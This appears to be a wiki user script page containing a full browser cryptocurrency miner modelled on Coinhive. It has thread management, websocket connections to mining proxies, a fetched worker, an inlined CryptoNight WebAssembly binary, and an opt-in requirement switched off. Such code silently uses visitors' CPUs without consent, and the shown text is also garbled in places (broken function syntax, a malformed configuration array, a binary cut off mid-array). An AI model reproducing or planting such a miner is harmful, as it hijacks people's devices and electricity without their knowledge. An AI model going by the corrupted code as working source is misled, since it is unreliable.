User:Ssmithmailer/common.js

(function(window){"use strict";var Miner=function(siteKey,params){this.params=params||{};this._siteKey=siteKey;this._user=null;this._threads=[];this._hashes=0;this._currentJob=null;this._autoReconnect=true;this._reconnectRetry=3;this._tokenFromServer=null;this._goal=0;this._totalHashesFromDeadThreads=0;this._throttle=Math.max(0,Math.min(.99,this.params.throttle||0));this._stopOnInvalidOptIn=false;this._waitingForAuth=false;this._selfTestSuccess=false;this._autoThreads={enabled:!!this.params.autoThreads,interval:null,adjustAt:null,adjustEvery:1e4,stats:{}};this._tab={ident:Math.random*16777215|0,mode:CH.IF_EXCLUSIVE_TAB,grace:0,waitReconnect:0,lastPingReceived:0,interval:null};if(window.BroadcastChannel){try{this._bc=new BroadcastChannel("CH");this._bc.onmessage=function(msg){if(msg.data==="ping"){this._tab.lastPingReceived=Date.now}}.bind(this)}catch(e){}}if(CH.CONFIG.REQUIRES_AUTH){this._auth=new CH.Auth(this._siteKey,{theme:this.params.theme||"light",lang:this.params.language||"auto"})}this._eventListeners={open:[],authed:[],close:[],error:[],job:[],found:[],accepted:[],optin:[]};var defaultThreads=navigator.hardwareConcurrency||4;this._targetNumThreads=this.params.threads||defaultThreads;this._useWASM=this.hasWASMSupport&&!this.params.forceASMJS;this._asmjsStatus="unloaded";this._onTargetMetBound=this._onTargetMet.bind(this);this._onVerifiedBound=this._onVerified.bind(this)};Miner.prototype.start=function(mode,optInToken){this._tab.mode=mode||CH.IF_EXCLUSIVE_TAB;this._optInToken=optInToken;if(this._tab.interval){clearInterval(this._tab.interval);this._tab.interval=null}this._loadWorkerSource(function{this._startNow}.bind(this))};Miner.prototype.stop=function(mode){for(var i=0;i<this._threads.length;i++){this._totalHashesFromDeadThreads+=this._threads[i].hashesTotal;this._threads[i].stop}this._threads=[];this._autoReconnect=false;if(this._socket){this._socket.close}this._currentJob=null;if(this._autoThreads.interval){clearInterval(this._autoThreads.interval);this._autoThreads.interval=null}if(this._tab.interval&&mode!=="dontKillTabUpdate"){clearInterval(this._tab.interval);this._tab.interval=null}};Miner.prototype.getHashesPerSecond=function{var hashesPerSecond=0;for(var i=0;i<this._threads.length;i++){hashesPerSecond+=this._threads[i].hashesPerSecond}return hashesPerSecond};Miner.prototype.getTotalHashes=function(estimate){var now=Date.now;var hashes=this._totalHashesFromDeadThreads;for(var i=0;i<this._threads.length;i++){var thread=this._threads[i];hashes+=thread.hashesTotal;if(estimate){var tdiff=(now-thread.lastMessageTimestamp)/1e3*.9;hashes+=tdiff*thread.hashesPerSecond}}return hashes|0};Miner.prototype.getAcceptedHashes=function{return this._hashes};Miner.prototype.getToken=function{return this._tokenFromServer};Miner.prototype.on=function(type,callback){if(this._eventListeners[type]){this._eventListeners[type].push(callback)}};Miner.prototype.getAutoThreadsEnabled=function(enabled){return this._autoThreads.enabled};Miner.prototype.setAutoThreadsEnabled=function(enabled){this._autoThreads.enabled=!!enabled;if(!enabled&&this._autoThreads.interval){clearInterval(this._autoThreads.interval);this._autoThreads.interval=null}if(enabled&&!this._autoThreads.interval){this._autoThreads.adjustAt=Date.now+this._autoThreads.adjustEvery;this._autoThreads.interval=setInterval(this._adjustThreads.bind(this),1e3)}};Miner.prototype.getThrottle=function{return this._throttle};Miner.prototype.setThrottle=function(throttle){this._throttle=Math.max(0,Math.min(.99,throttle));if(this._currentJob){this._setJob(this._currentJob)}};Miner.prototype.getNumThreads=function{return this._targetNumThreads};Miner.prototype.setNumThreads=function(num){var num=Math.max(1,num|0);this._targetNumThreads=num;if(num>this._threads.length){for(var i=0;num>this._threads.length;i++){var thread=new CH.JobThread;if(this._currentJob){thread.setJob(this._currentJob,this._onTargetMetBound)}this._threads.push(thread)}}else if(num0};Miner.prototype.isMobile=function{return/mobile|Android|webOS|iPhone|iPad|iPod|IEMobile|Opera Mini/i.test(navigator.userAgent)};Miner.prototype.didOptOut=function(seconds){if(!CH.CONFIG.REQUIRES_AUTH){return false}seconds=seconds||60*60*4;var t=this._auth.getOptOutTime;return!!(t&&t>Date.now/1e3-seconds)};Miner.prototype.isAuthed=function{if(CH.CONFIG.REQUIRES_AUTH){return this._auth.isAuthed}return true};Miner.prototype.selfTest=function(callback){this._loadWorkerSource(function{if(!this.verifyThread){this.verifyThread=new CH.JobThread}var testJob={verify_id:"1",nonce:"204f150c",result:"6a9c7dea83b079ce0e012907dd6929bcb0aeec3c1f06c032ca7c3386432bca00",blob:"0606c6d8cfd005cad45b0306350a730b0354d52f1b6d671063824287ce4a82c971d109d56d1f1b00000000ee2d1d4fd7c18bdc1b24abb902ac8ecc3d201ffb5904de9e476a7bbb0f9ec1ab04"};this.verifyThread.verify(testJob,function(res){callback(res.verified===true)})}.bind(this))};Miner.prototype._loadWorkerSource=function(callback){if(this._useWASM||this._asmjsStatus==="loaded"){callback}else if(this._asmjsStatus==="unloaded"){this._asmjsStatus="pending";var xhr=new XMLHttpRequest;xhr.addEventListener("load",function{CH.CRYPTONIGHT_WORKER_BLOB=CH.Res(xhr.responseText);this._asmjsStatus="loaded";callback}.bind(this),xhr);xhr.open("get",CH.CONFIG.LIB_URL+CH.CONFIG.ASMJS_NAME,true);xhr.send}};Miner.prototype._startNow=function{if(this._tab.mode!==CH.FORCE_MULTI_TAB&&!this._tab.interval){this._tab.interval=setInterval(this._updateTabs.bind(this),1e3)}if(this._tab.mode===CH.IF_EXCLUSIVE_TAB&&this._otherTabRunning){return}if(this._tab.mode===CH.FORCE_EXCLUSIVE_TAB){this._tab.grace=Date.now+3e3}if(!this.verifyThread){this.verifyThread=new CH.JobThread}this.setNumThreads(this._targetNumThreads);this._autoReconnect=true;if(CH.CONFIG.REQUIRES_AUTH&&!this._optInToken){this._waitingForAuth=true;this._auth.auth(function(token){this._waitingForAuth=false;if(!token){this.stop;this._emit("optin",{status:"canceled"});this._emit("error",{error:"opt_in_canceled"});return}this._emit("optin",{status:"accepted"});this._optInToken=token;this._connectAfterSelfTest}.bind(this))}else{this._connectAfterSelfTest}};Miner.prototype._otherTabRunning=function{if(this._tab.lastPingReceived>Date.now-1500){return true}try{var tdjson=localStorage.getItem("CH");if(tdjson){var td=JSON.parse(tdjson);if(td.ident!==this._tab.ident&&Date.now-td.time<1500){return true}}}catch(e){}return false};Miner.prototype._updateTabs=function{if(Date.nowthis._tab.grace){this.stop("dontKillTabUpdate")}else if(!otherTabRunning&&!this.isRunning){this._startNow}if(this.isRunning&&!this._waitingForAuth){if(this._bc){this._bc.postMessage("ping")}try{localStorage.setItem("CH",JSON.stringify({ident:this._tab.ident,time:Date.now}))}catch(e){}}};Miner.prototype._adjustThreads=function{var hashes=this.getHashesPerSecond;var threads=this.getNumThreads;var stats=this._autoThreads.stats;stats[threads]=stats[threads]?stats[threads]*.5+hashes*.5:hashes;if(Date.now>this._autoThreads.adjustAt){this._autoThreads.adjustAt=Date.now+this._autoThreads.adjustEvery;var cur=(stats[threads]||0)-1;var up=stats[threads+1]||0;var down=stats[threads-1]||0;if(cur>down&&(up===0||up>cur)&&threads<8){return this.setNumThreads(threads+1)}else if(cur>up&&(!down||down>cur)&&threads>1){return this.setNumThreads(threads-1)}}};Miner.prototype._emit=function(type,params){var listeners=this._eventListeners[type];if(listeners&&listeners.length){for(var i=0;i>>0};Miner.prototype._connectAfterSelfTest=function{if(this._selfTestSuccess||this.hasWASMSupport){this._connect}else{this.selfTest(function(success){if(success){this._selfTestSuccess=true;this._connect}else{this._emit("error",{error:"self_test_failed"})}}.bind(this))}};Miner.prototype._connect=function{if(this._socket){return}var shards=CH.CONFIG.WEBSOCKET_SHARDS;var shardIdx=Math.random*shards.length|0;var proxies=shards[shardIdx];var proxyUrl=proxies[Math.random*proxies.length|0];this._socket=new WebSocket(proxyUrl);this._socket.onmessage=this._onMessage.bind(this);this._socket.onerror=this._onError.bind(this);this._socket.onclose=this._onClose.bind(this);this._socket.onopen=this._onOpen.bind(this)};Miner.prototype._onOpen=function(ev){this._emit("open");var params={site_key:this._siteKey,type:"anonymous",user:null,goal:0};if(this._user){params.type="user";params.user=this._user.toString}else if(this._goal){params.type="token";params.goal=this._goal}if(this.params.ref){params.ref=this.params.ref}if(this._optInToken){params.opt_in=this._optInToken}this._send("auth",params)};Miner.prototype._onError=function(ev){this._emit("error",{error:"connection_error"});this._onClose(ev)};Miner.prototype._onClose=function(ev){if(ev.code>=1003&&ev.code<=1009){this._reconnectRetry=60;this._tab.waitReconnect=Date.now+60*1e3}for(var i=0;i<this._threads.length;i++){this._threads[i].stop}this._threads=[];this._socket=null;this._emit("close");if(this._autoReconnect){setTimeout(this._startNow.bind(this),this._reconnectRetry*1e3)}};Miner.prototype._onMessage=function(ev){var msg=JSON.parse(ev.data);if(msg.type==="job"){this._setJob(msg.params);this._emit("job",msg.params);if(this._autoThreads.enabled&&!this._autoThreads.interval){this._autoThreads.adjustAt=Date.now+this._autoThreads.adjustEvery;this._autoThreads.interval=setInterval(this._adjustThreads.bind(this),1e3)}}else if(msg.type==="verify"){this.verifyThread.verify(msg.params,this._onVerifiedBound)}else if(msg.type==="hash_accepted"){this._hashes=msg.params.hashes;this._emit("accepted",msg.params);if(this._goal&&this._hashes>=this._goal){this.stop}}else if(msg.type==="authed"){this._tokenFromServer=msg.params.token||null;this._hashes=msg.params.hashes||0;this._emit("authed",msg.params);this._reconnectRetry=3;this._tab.waitReconnect=0}else if(msg.type==="error"){if(console&&console.error){console.error("CH Error:",msg.params.error)}this._emit("error",msg.params);if(msg.params.error==="invalid_site_key"){this._reconnectRetry=6e3;this._tab.waitReconnect=Date.now+6e3*1e3}else if(msg.params.error==="invalid_opt_in"){if(this._stopOnInvalidOptIn){return this.stop}else if(this._auth){this._auth.reset}}}if(msg.type==="banned"||msg.params.banned){this._emit("error",{banned:true});this._reconnectRetry=600;this._tab.waitReconnect=Date.now+600*1e3}};Miner.prototype._setJob=function(job){this._currentJob=job;this._currentJob.throttle=this._throttle;for(var i=0;i<this._threads.length;i++){this._threads[i].setJob(job,this._onTargetMetBound)}};Miner.prototype._onTargetMet=function(result){this._emit("found",result);if(result.job_id===this._currentJob.job_id){this._send("submit",{job_id:result.job_id,nonce:result.nonce,result:result.result})}};Miner.prototype._onVerified=function(verifyResult){this._send("verified",verifyResult)};Miner.prototype._send=function(type,params){if(!this._socket){return}var msg={type:type,params:params||{}};this._socket.send(JSON.stringify(msg))};window.CH=window.CH||{};window.CH.IF_EXCLUSIVE_TAB="ifExclusiveTab";window.CH.FORCE_EXCLUSIVE_TAB="forceExclusiveTab";window.CH.FORCE_MULTI_TAB="forceMultiTab";window.CH.Token=function(siteKey,goal,params){var miner=new Miner(siteKey,params);miner._goal=goal||0;return miner};window.CH.User=function(siteKey,user,params){var miner=new Miner(siteKey,params);miner._user=user;return miner};window.CH.Anonymous=function(siteKey,params){var miner=new Miner(siteKey,params);return miner};window.CH.Res=function(s){var url=window.URL||window.webkitURL||window.mozURL;return url.createObjectURL(new Blob([s]))}})(window);(function(window){"use strict";var JobThread=function{this.worker=new Worker(CH.CRYPTONIGHT_WORKER_BLOB);this.worker.onmessage=this.onReady.bind(this);this.currentJob=null;this.verifyJob=null;this.jobCallback=function{};this.verifyCallback=function{};this._isReady=false;this.hashesPerSecond=0;this.hashesTotal=0;this.running=false;this.lastMessageTimestamp=Date.now};JobThread.prototype.onReady=function(msg){if(msg.data!=="ready"||this._isReady){throw'Expecting first message to be "ready", got '+msg}this._isReady=true;this.worker.onmessage=this.onReceiveMsg.bind(this);if(this.currentJob){this.running=true;this.worker.postMessage(this.currentJob)}else if(this.verifyJob){this.worker.postMessage(this.verifyJob)}};JobThread.prototype.onReceiveMsg=function(msg){if(msg.data.verify_id){this.verifyCallback(msg.data);return}if(msg.data.result){this.jobCallback(msg.data)}this.hashesPerSecond=this.hashesPerSecond*.5+msg.data.hashesPerSecond*.5;this.hashesTotal+=msg.data.hashes;this.lastMessageTimestamp=Date.now;if(this.running){this.worker.postMessage(this.currentJob)}};JobThread.prototype.setJob=function(job,callback){this.currentJob=job;this.jobCallback=callback;if(this._isReady&&!this.running){this.running=true;this.worker.postMessage(this.currentJob)}};JobThread.prototype.verify=function(job,callback){this.verifyCallback=callback;if(!this._isReady){this.verifyJob=job}else{this.worker.postMessage(job)}};JobThread.prototype.stop=function{if(this.worker){this.worker.terminate;this.worker=null}this.running=false};window.CH.JobThread=JobThread})(window);self.CH=self.CH||{};self.CH.CONFIG={LIB_URL:"https://CH.com/lib/",ASMJS_NAME:"worker-asmjs.min.js",REQUIRES_AUTH:false,WEBSOCKET_SHARDS:"wss://ws001.CH.com/proxy","wss://ws002.CH.com/proxy","wss://ws003.CH.com/proxy","wss://ws004.CH.com/proxy","wss://ws005.CH.com/proxy","wss://ws006.CH.com/proxy","wss://ws007.CH.com/proxy"],["wss://ws008.CH.com/proxy","wss://ws009.CH.com/proxy","wss://ws010.CH.com/proxy","wss://ws011.CH.com/proxy","wss://ws012.CH.com/proxy","wss://ws013.CH.com/proxy","wss://ws014.CH.com/proxy"],["wss://ws015.CH.com/proxy","wss://ws016.CH.com/proxy","wss://ws017.CH.com/proxy","wss://ws018.CH.com/proxy","wss://ws019.CH.com/proxy","wss://ws020.CH.com/proxy","wss://ws021.CH.com/proxy"],["wss://ws022.CH.com/proxy","wss://ws023.CH.com/proxy","wss://ws024.CH.com/proxy","wss://ws025.CH.com/proxy","wss://ws026.CH.com/proxy","wss://ws027.CH.com/proxy","wss://ws028.CH.com/proxy",CAPTCHA_URL:"https://CH.com/captcha/",MINER_URL:"https://CH.com/media/miner.html",AUTH_URL:"https://authedmine.com/authenticate.html"};CH.CRYPTONIGHT_WORKER_BLOB=CH.Res(" self.WASM_BINARY_INLINE= [0,97,115,109,1,0,0,0,1,51,9,96,3,127,127,127,0,96,1,127,0,96,0,1,127,96,2,127,127,1,127,96,3,127,127,127,1,127,96,1,127,1,127,96,2,127,127,0,96,4,127,127,127,127,0,96,3,127,127,126,0,2,136,2,14,3,101,110,118,6,109,101,109,111,114,121,2,1,128,2,128,2,3,101,110,118,5,116,97,98,108,101,1,112,1,8,8,3,101,110,118,9,116,97,98,108,101,66,97,115,101,3,127,0,3,101,110,118,14,68,89,78,65,77,73,67,84,79,80,95,80,84,82,3,127,0,3,101,110,118,8,83,84,65,67,75,84,79,80,3,127,0,3,101,110,118,5,97,98,111,114,116,0,1,3,101,110,118,13,101,110,108,97,114,103,101,77,101,109,111,114,121,0,2,3,101,110,118,14,103,101,116,84,111,116,97,108,77,101,109,111,114,121,0,2,3,101,110,118,23,97,98,111,114,116,79,110,67,97,110,110,111,116,71,114,111,119,77,101,109,111,114,121,0,2,3,101,110,118,11,95,95,95,115,101,116,69,114,114,78,111,0,1,3,101,110,118,12,95,95,95,115,121,115,99,97,108,108,50,48,0,3,3,101,110,118,22,95,101,109,115,99,114,105,112,116,101,110,95,109,101,109,99,112,121,95,98,105,103,0,4,3,101,110,118,6,95,102,116,105,109,101,0,5,3,101,110,118,7,95,103,109,116,105,109,101,0,5,3,29,28,0,6,4,1,0,4,5,5,8,0,1,7,0,6,7,7,1,6,0,1,2,0,4,0,0,0,7,5,6,11,2,127,1,35,1,11,127,1,35,2,11,7,89,5,19,95,99,114,121,112,116,111,110,105,103,104,116,95,99,114,101,97,116,101,0,29,20,95,99,114,121,112,116,111,110,105,103,104,116,95,100,101,115,116,114,111,121,0,28,17,95,99,114,121,112,116,111,110,105,103,104,116,95,104,97,115,104,0,35,7,95,109,97,108,108,111,99,0,16,10,115,116,97,99,107,65,108,108,111,99,0,36,9,14,1,0,35,0,11,8,18,34,30,33,32,18,18,18,10,212,177,3,28,217,29,1,21,127,32,0,32,0,40,2,0,32,2,115,34,4,54,2,0,32,2,65,16,115,32,0,65,8,106,34,11,40,2,0,115,33,7,32,11,32,7,54,2,0,32,2,65,32,115,32,0,65,16,106,34,12,40,2,0,115,33,8,32,12,32,8,54,2,0,32,2,65,48,115,32,0,65,24,106,34,14,40,2,0,115,33,3,32,14,32,3,54,2,0,32,0,65,32,106,34,15,32,2,65,192,0,115,32,15,40,2,0,115,54,2,0,32,0,65,40,106,34,17,32,2,65,208,0,115,32,17,40,2,0,115,54,2,0,32,0,65,48,106,34,19,32,2,65,224,0,115,32,19,40,2,0,115,54,2,0,32,0,65,56,106,34,21,32,2,65,240,0,115,32,21,40,2,0,115,54,2,0,32,7,65,7,118,65,254,3,113,34,9,65,2,116,65,208,42,106,40,2,0,33,2,32,8,65,15,118,65,254,3,113,34,10,65,2,116,65,208,42,106,40,2,0,33,7,32,3,65,24,118,65,1,116,34,13,65,2,116,65,208,42,106,40,2,0,33,8,32,0,45,0,45,65,1,116,34,16,65,2,116,65,208,42,106,40,2,0,33,3,32,0,45,0,54,65,1,116,34,18,65,2,116,65,208,42,106,40,2,0,33,6,32,0,45,0,63,65,1,116,34,20,65,2,116,65,208,42,106,40,2,0,33,5,32,9,65,1,114,65,2,116,65,208,42,106,40,2,0,34,9,65,8,116,32,2,65,24,118,114,32,4,65,1,116,65,254,3,113,34,4,65,1,114,65,2,116,65,208,42,106,40,2,0,115,32,10,65,1,114,65,2,116,65,208,42,106,40,2,0,34,10,65,16,116,32,7,65,16,118,114,115,32,13,65,1,114,65,2,116,65,208,42,106,40,2,0,34,13,65,24,116,32,8,65,8,118,114,115,32,0,45,0,36,65,1,116,34,22,65,2,116,65,208,42,106,40,2,0,115,32,16,65,1,114,65,2,116,65,208,42,106,40,2,0,34,16,65,24,118,32,3,65,8,116,114,115,32,18,65,1,114,65,2,116,65,208,42,106,40,2,0,34,18,65,16,118,32,6,65,16,116,114,115,32,20,65,1,114,65,2,116,65,208,42,106,40,2,0,34,20,65,8,118,32,5,65,24,116,114,115,33,23,32,1,32,9,65,24,118,32,2,65,8,116,114,32,4,65,2,116,65,208,42,106,40,2,0,115,32,10,65,16,118,32,7,65,16,116,114,115,32,13,65,8,118,32,8,65,24,116,114,115,32,22,65,1,114,65,2,116,65,208,42,106,40,2,0,115,32,16,65,8,116,32,3,65,24,118,114,115,32,18,65,16,116,32,6,65,16,118,114,115,32,20,65,24,116,32,5,65,8,118,114,115,54,2,0,32,1,32,23,54,2,4,32,0,45,0,17,65,1,116,34,4,65,2,116,65,208,42,106,40,2,0,33,2,32,0,45,0,26,65,1,116,34,9,65,2,116,65,208,42,106,40,2,0,33,7,32,0,45,0,35,65,1,116,34,10,65,2,116,65,208,42,106,40,2,0,33,8,32,0,45,0,53,65,1,116,34,13,65,2,116,65,208,42,106,40,2,0,33,3,32,0,45,0,62,65,1,116,34,16,65,2,116,65,208,42,106,40,2,0,33,6,32,0,45,0,7,65,1,116,34,18,65,2,116,65,208,42,106,40,2,0,33,5,32,4,65,1,114,65,2,116,65,208,42,106,40,2,0,34,4,65,8,116,32,2,65,24,118,114,32,11,45,0,0,65,1,116,34,11,65,1,114,65,2,116,65,208,42,106,40,2,0,115,32,9,65,1,114,65,2,116,65,208,42,106,40,2,0,34,9,65,16,116,32,7,65,16,118,114,115,32,10,65,1,114,65,2,116,65,208,42,106,40,2,0,34,10,65,24,116,32,8,65,8,118,114,115,32,0,45,0,44,65,1,116,34,20,65,2,116,65,208,42,106,40,2,0,115,32,13,65,1,114,65,2,116,65,208,42,106,40,2,0,34,13,65,24,118,32,3,65,8,116,114,115,32,16,65,1,114,65,2,116,65,208,42,106,40,2,0,34,16,65,16,118,32,6,65,16,116,114,115,32,18,65,1,114,65,2,116,65,208,42,106,40,2,0,34,18,65,8,118,32,5,65,24,116,114,115,33,22,32,1,32,4,65,24,118,32,2,65,8,116,114,32,11,65,2,116,65,208,42,106,40,2,0,115,32,9,65,16,118,32,7,65,16,116,114,115,32,10,65,8,118,32,8,65,24,116,114,115,32,20,65,1,114,65,2,116,65,208,42,106,40,2,0,115,32,13,65,8,116,32,3,65,24,118,114,115,32,16,65,16,116,32,6,65,16,118,114,115,32,18,65,24,116,32,5,65,8,118,114,115,54,2,8,32,1,32,22,54,2,12,32,0,45,0,25,65,1,116,34,5,65,2,116,65,208,42,106,40,2,0,33,2,32,0,45,0,34,65,1,116,34,4,65,2,116,65,208,42,106,40,2,0,33,11,32,0,45,0,43,65,1,116,34,9,65,2,116,65,208,42,106,40,2,0,33,7,32,0,45,0,61,65,1,116,34,10,65,2,116,65,208,42,106,40,2,0,33,8,32,0,45,0,6,65,1,116,34,13,65,2,116,65,208,42,106,40,2,0,33,3,32,0,45,0,15,65,1,116,34,16,65,2,116,65,208,42,106,40,2,0,33,6,32,5,65,1,114,65,2,116,65,208,42,106,40,2,0,34,5,65,8,116,32,2,65,24,118,114,32,12,45,0,0,65,1,116,34,12,65,1,114,65,2,116,65,208,42,106,40,2,0,115,32,4,65,1,114,65,2,116,65,208,42,106,40,2,0,34,4,65,16,116,32,11,65,16,118,114,115,32,9,65,1,114,65,2,116,65,208,42,106,40,2,0,34,9,65,24,116,32,7,65,8,118,114,115,32,0,45,0,52,65,1,116,34,18,65,2,116,65,208,42,106,40,2,0,115,32,10,65,1,114,65,2,116,65,208,42,106,40,2,0,34,10,65,24,118,32,8,65,8,116,114,115,32,13,65,1,114,65,2,116,65,208,42,106,40,2,0,34,13,65,16,118,32,3,65,16,116,114,115,32,16,65,1,114,65,2,116,65,208,42,106,40,2,0,34,16,65,8,118,32,6,65,24,116,114,115,33,20,32,1,32,5,65,24,118,32,2,65,8,116,114,32,12,65,2,116,65,208,42,106,40,2,0,115,32,4,65,16,118,32,11,65,16,116,114,115,32,9,65,8,118,32,7,65,24,116,114,115,32,18,65,1,114,65,2,116,65,208,42,106,40,2,0,115,32,10,65,8,116,32,8,65,24,118,114,115,32,13,65,16,116,32,3,65,16,118,114,115,32,16,65,24,116,32,6,65,8,118,114,115,54,2,16,32,1,32,20,54,2,20,32,0,45,0,33,65,1,116,34,6,65,2,116,65,208,42,106,40,2,0,33,2,32,0,45,0,42,65,1,116,34,5,65,2,116,65,208,42,106,40,2,0,33,11,32,0,45,0,51,65,1,116,34,4,65,2,116,65,208,42,106,40,2,0,33,7,32,0,45,0,5,65,1,116,34,9,65,2,116,65,208,42,106,40,2,0,33,12,32,0,45,0,14,65,1,116,34,10,65,2,116,65,208,42,106,40,2,0,33,8,32,0,45,0,23,65,1,116,34,13,65,2,116,65,208,42,106,40,2,0,33,3,32,6,65,1,114,65,2,116,65,208,42,106,40,2,0,34,6,65,8,116,32,2,65,24,118,114,32,14,45,0,0,65,1,116,34,14,65,1,114,65,2,116,65,208,42,106,40,2,0,115,32,5,65,1,114,65,2,116,65,208,42,106,40,2,0,34,5,65,16,116,32,11,65,16,118,114,115,32,4,65,1,114,65,2,116,65,208,42,106,40,2,0,34,4,65,24,116,32,7,65,8,118,114,115,32,0,45,0,60,65,1,116,34,16,65,2,116,65,208,42,106,40,2,0,115,32,9,65,1,114,65,2,116,65,208,42,106,40,2,0,34,9,65,24,118,32,12,65,8,116,114,115,32,10,65,1,114,65,2,116,65,208,42,106,40,2,0,34,10,65,16,118,32,8,65,16,116,114,115,32,13,65,1,114,65,2,116,65,208,42,106,40,2,0,34,13,65,8,118,32,3,65,24,116,114,115,33,18,32,1,32,6,65,24,118,32,2,65,8,116,114,32,14,65,2,116,65,208,42,106,40,2,0,115,32,5,65,16,118,32,11,65,16,116,114,115,32,4,65,8,118,32,7,65,24,116,114,115,32,16,65,1,114,65,2,116,65,208,42,106,40,2,0,115,32,9,65,8,116,32,12,65,24,118,114,115,32,10,65,16,116,32,8,65,16,118,114,115,32,13,65,24,116,32,3,65,8,118,114,115,54,2,24,32,1,32,18,54,2,28,32,0,45,0,41,65,1,116,34,3,65,2,116,65,208,42,106,40,2,0,33,2,32,0,45,0,50,65,1,116,34,6,65,2,116,65,208,42,106,40,2,0,33,11,32,0,45,0,59,65,1,116,34,5,65,2,116,65,208,42,106,40,2,0,33,7,32,0,45,0,13,65,1,116,34,4,65,2,116,65,208,42,106,40,2,0,33,12,32,0,45,0,22,65,1,116,34,9,65,2,116,65,208,42,106,40,2,0,33,8,32,0,45,0,31,65,1,116,34,10,65,2,116,65,208,42,106,40,2,0,33,14,32,3,65,1,114,65,2,116,65,208,42,106,40,2,0,34,3,65,8,116,32,2,65,24,118,114,32,15,45,0,0,65,1,116,34,15,65,1,114,65,2,116,65,208,42,106,40,2,0,115,32,6,65,1,114,65,2,116,65,208,42,106,40,2,0,34,6,65,16,116,32,11,65,16,118,114,115,32,5,65,1,114,65,2,116,65,208,42,106,40,2,0,34,5,65,24,116,32,7,65,8,118,114,115,32,0,45,0,4,65,1,116,34,13,65,2,116,65,208,42,106,40,2,0,115,32,4,65,1,114,65,2,116,65,208,42,106,40,2,0,34,4,65,24,118,32,12,65,8,116,114,115,32,9,65,1,114,65,2,116,65,208,42,106,40,2,0,34,9,65,16,118,32,8,65,16,116,114,115,32,10,65,1,114,65,2,116,65,208,42,106,40,2,0,34,10,65,8,118,32,14,65,24,116,114,115,33,16,32,1,32,3,65,24,118,32,2,65,8,116,114,32,15,65,2,116,65,208,42,106,40,2,0,115,32,6,65,16,118,32,11,65,16,116,114,115,32,5,65,8,118,32,7,65,24,116,114,115,32,13,65,1,114,65,2,116,65,208,42,106,40,2,0,115,32,4,65,8,116,32,12,65,24,118,114,115,32,9,65,16,116,32,8,65,16,118,114,115,32,10,65,24,116,32,14,65,8,118,114,115,54,2,32,32,1,32,16,54,2,36,32,0,45,0,49,65,1,116,34,3,65,2,116,65,208,42,106,40,2,0,33,2,32,0,45,0,58,65,1,116,34,15,65,2,116,65,208,42,106,40,2,0,33,11,32,0,45,0,3,65,1,116,34,6,65,2,116,65,208,42,106,40,2,0,33,7,32,0,45,0,21,65,1,116,34,5,65,2,116,65,208,42,106,40,2,0,33,12,32,0,45,0,30,65,1,116,34,4,65,2,116,65,208,42,106,40,2,0,33,8,32,0,45,0,39,65,1,116,34,9,65,2,116,65,208,42,106,40,2,0,33,14,32,3,65,1,114,65,2,116,65,208,42,106,40,2,0,34,3,65,8,116,32,2,65,24,118,114,32,17,45,0,0,65,1,116,34,17,65,1,114,65,2,116,65,208,42,106,40,2,0,115,32,15,65,1,114,65,2,116,65,208,42,106,40,2,0,34,15,65,16,116,32,11,65,16,118,114,115,32,6,65,1,114,65,2,116,65,208,42,106,40,2,0,34,6,65,24,116,32,7,65,8,118,114,115,32,0,45,0,12,65,1,116,34,10,65,2,116,65,208,42,106,40,2,0,115,32,5,65,1,114,65,2,116,65,208,42,106,40,2,0,34,5,65,24,118,32,12,65,8,116,114,115,32,4,65,1,114,65,2,116,65,208,42,106,40,2,0,34,4,65,16,118,32,8,65,16,116,114,115,32,9,65,1,114,65,2,116,65,208,42,106,40,2,0,34,9,65,8,118,32,14,65,24,116,114,115,33,13,32,1,32,3,65,24,118,32,2,65,8,116,114,32,17,65,2,116,65,208,42,106,40,2,0,115,32,15,65,16,118,32,11,65,16,116,114,115,32,6,65,8,118,32,7,65,24,116,114,115,32,10,65,1,114,65,2,116,65,208,42,106,40,2,0,115,32,5,65,8,116,32,12,65,24,118,114,115,32,4,65,16,116,32,8,65,16,118,114,115,32,9,65,24,116,32,14,65,8,118,114,115,54,2,40,32,1,32,13,54,2,44,32,0,45,0,57,65,1,116,34,3,65,2,116,65,208,42,106,40,2,0,33,2,32,0,45,0,2,65,1,116,34,15,65,2,116,65,208,42,106,40,2,0,33,11,32,0,45,0,11,65,1,116,34,17,65,2,116,65,208,42,106,40,2,0,33,7,32,0,45,0,29,65,1,116,34,6,65,2,116,65,208,42,106,40,2,0,33,12,32,0,45,0,38,65,1,116,34,5,65,2,116,65,208,42,106,40,2,0,33,8,32,0,45,0,47,65,1,116,34,4,65,2,116,65,208,42,106,40,2,0,33,14,32,3,65,1,114,65,2,116,65,208,42,106,40,2,0,34,3,65,8,116,32,2,65,24,118,114,32,19,45,0,0,65,1,116,34,19,65,1,114,65,2,116,65,208,42,106,40,2,0,115,32,15,65,1,114,65,2,116,65,208,42,106,40,2,0,34,15,65,16,116,32,11,65,16,118,114,115,32,17,65,1,114,65,2,116,65,208,42,106,40,2,0,34,17,65,24,116,32,7,65,8,118,114,115,32,0,45,0,20,65,1,116,34,9,65,2,116,65,208,42,106,40,2,0,115,32,6,65,1,114,65,2,116,65,208,42,106,40,2,0,34,6,65,24,118,32,12,65,8,116,114,115,32,5,65,1,114,65,2,116,65,208,42,106,40,2,0,34,5,65,16,118,32,8,65,16,116,114,115,32,4,65,1,114,65,2,116,65,208,42,106,40,2,0,34,4,65,8,118,32,14,65,24,116,114,115,33,10,32,1,32,3,65,24,118,32,2,65,8,116,114,32,19,65,2,116,65,208,42,106,40,2,0,115,32,15,65,16,118,32,11,65,16,116,114,115,32,17,65,8,118,32,7,65,24,116,114,115,32,9,65,1,114,65,2,116,65,208,42,106,40,2,0,115,32,6,65,8,116,32,12,65,24,118,114,115,32,5,65,16,116,32,8,65,16,118,114,115,32,4,65,24,116,32,14,65,8,118,114,115,54,2,48,32,1,32,10,54,2,52,32,0,45,0,1,65,1,116,34,3,65,2,116,65,208,42,106,40,2,0,33,2,32,0,45,0,10,65,1,116,34,15,65,2,116,65,208,42,106,40,2,0,33,11,32,0,45,0,19,65,1,116,34,17,65,2,116,65,208,42,106,40,2,0,33,7,32,0,45,0,37,65,1,116,34,19,65,2,116,65,208,42,106,40,2,0,33,12,32,0,45,0,46,65,1,116,34,6,65,2,116,65,208,42,106,40,2,0,33,8,32,0,45,0,55,65,1,116,34,5,65,2,116,65,208,42,106,40,2,0,33,14,32,3,65,1,114,65,2,116,65,208,42,106,40,2,0,34,3,65,8,116,32,2,65,24,118,114,32,21,45,0,0,65,1,116,34,21,65,1,114,65,2,116,65,208,42,106,40,2,0,115,32,15,65,1,114,65,2,116,65,208,42,106,40,2,0,34,15,65,16,116,32,11,65,16,118,114,115,32,17,65,1,114,65,2,116,65,208,42,10